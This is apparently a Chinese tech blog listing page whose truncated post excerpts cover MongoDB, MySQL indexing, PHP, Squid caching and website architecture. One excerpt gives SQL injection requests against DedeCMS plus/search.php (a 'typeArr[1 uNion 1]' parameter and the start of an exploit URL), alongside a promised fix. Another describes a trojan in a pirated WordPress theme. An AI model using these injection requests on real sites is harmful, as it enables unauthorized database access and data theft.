mongodb索引篇

← Continue Reading
db.tb.ensureIndex({"name":1}}); //设置索引 db.tb.ensureIndex({"firstname":1,"lastname":1},{unique:true}); //设置唯一索引 -----------------------YD的分隔符---------------------------------------- db.tb.getIndexes();...

Mongodb在Windows下安装及配置

← Continue Reading
1.下载mongodb的windows版本,有32位和64位版本,根据系统情况下载,下载地址:http://www.mongodb.org/downloads 2.解压缩至D:/mongodb即可 3.创建数据库文件的存放位置,比如D:/mongodb/data/db。启动mongodb服务之前需要必须创建数据库文件的存放文件夹,否则命令不会自动创建,而且不能启动成功。默认文件夹路径为c:/dat...

MongoDB与PHP的添加、修改、查询、删除(转)

← Continue Reading
PHP 扩展mongon.mod.dll 下载http://cn.php.net/manual/en/mongo.installation.php#mongo.installation.windows 然后php.ini添加 extension=php_mongo.dll 最后phpinfo() 查找到 表标PHP已经自带了mongo功能,你就可以操作下面的代码(但是你必须有安装mongodb服务...

理解MySQL——索引与优化

← Continue Reading
写在前面:索引对查询的速度有着至关重要的影响,理解索引也是进行数据库性能调优的起点。考虑如下情况,假设数据库中一个表有10^6条记录,DBMS的页面大小为4K,并存储100条记录。如果没有索引,查询将对整个表进行扫描,最坏的情况下,如果所有数据页都不在内存,需要读取10^4个页面,如果这10^4个页面在磁盘上随机分布,需要进行10^4次I/O,假设磁盘每次I/O时间为10ms(忽略数据传输时间),...

通知WordPress Deve主题被挂马

← Continue Reading
近几天突然想换主题了,就想起以前看过的Deve主题,不过貌似是收费的,我等穷学生没钱只能D版了,在此感谢主题作者! 在网上搜索下,居然在新浪爱问里提供Deve主题的下载,不过由于我使用Google搜索的,无意中看到一篇文章提到网上的Deve主题大多都带木 马。这引起了我的警惕。下载后按照网上的提示,果然找到了一个问题文件,二话不说用ASC扫描了下载的压缩包后杀软提示有两处木马威胁!!唉,用了快两年...

php实现登陆限制,只允许一台机器在线

← Continue Reading
使用session 跟file控制 [php] <?php ob_start(); session_start(); class cc{ // private $refurl="http://www.abc.com"; //登陆成功后转换页面 private $loginflag=false; //登陆成功标志 private $loginfile="login...

dedecms plus/search.php 注入漏洞利用方式以及修复方法

← Continue Reading
适合低版本dede5.7已经测试过 提交 mumaasp.com/plus/search.php?keyword=as&typeArr[1 uNion 1]=a 看结果如果提示 Safe Alert: Request Error step 2 ! 那么直接用下面的exp mumaasp.com/plus/search.php?keyword=as&typeArr[111%3D@`\...

eaby技术架构变迁

← Continue Reading
eaby技术架构变迁 最近在infoq上面看到 ebay介绍其系统架构变迁以及系统设计分享方面的讲座,其中陈述了ebay从1995年到2006年之间系统架构的变化过程。从这里,我们可以学习到许多宝贵的经验来设计一个大容量,高并发,分布式的系统。   ebay的系统架构的变迁主要经历了4个阶段,下面一幅图展现了ebay系统架构变迁的时间表     在ebay的V1...

用Squid搭建Cache服务器

← Continue Reading
其实本人实在是更喜欢Varnish一些,而线上用来跑css/js等静态文件cache的Varnish也确实运行的非常好,缓存的命中率也很高,性能也很好。但是因为是内存式的Cache,Varnish在缓存图片时当达到一定量的时候会出现无法分配内存导致重启子进程缓存丢失的情况。所以当图片数量级较大且访问量较大时,还是老老实实用Squid吧。 安装环境 操作系统: CentOS release 5.2 ...

从100PV到1亿级PV网站架构演变

← Continue Reading
一个网站就像一个人,存在一个从小到大的过程。养一个网站和养一个人一样,不同时期需要不同的方法,不同的方法下有共同的原则。本文结合我自已14年网站人的经历记录一些架构演变中的体会。 1:积累是必不可少的 架构师不是一天练成的。 1999年,我作了一个个人主页,在学校内的虚拟空间,参加了一次主页大赛,几个DREAMWEAVER的页面,几个TABLE作布局,一个DB连接,几行PHP的代码嵌入在HTML中...

大型网站架构演变和知识体系

← Continue Reading
在这篇文章中将阐述一个普通的网站发展成大型网站过程中的一种较为典型的架构演变历程和所需掌握的知识体系,希望能给想从事互联网行业的同学一点初步的概念。     之前也有一些介绍大型网站架构演变的文章,例如LiveJournal的、ebay的,都是非常值得参考的,不过感觉他们讲的更多的是每次演变的结果,而没有很详细的讲为什么需要做这样的演变,再加上近来感觉有不少...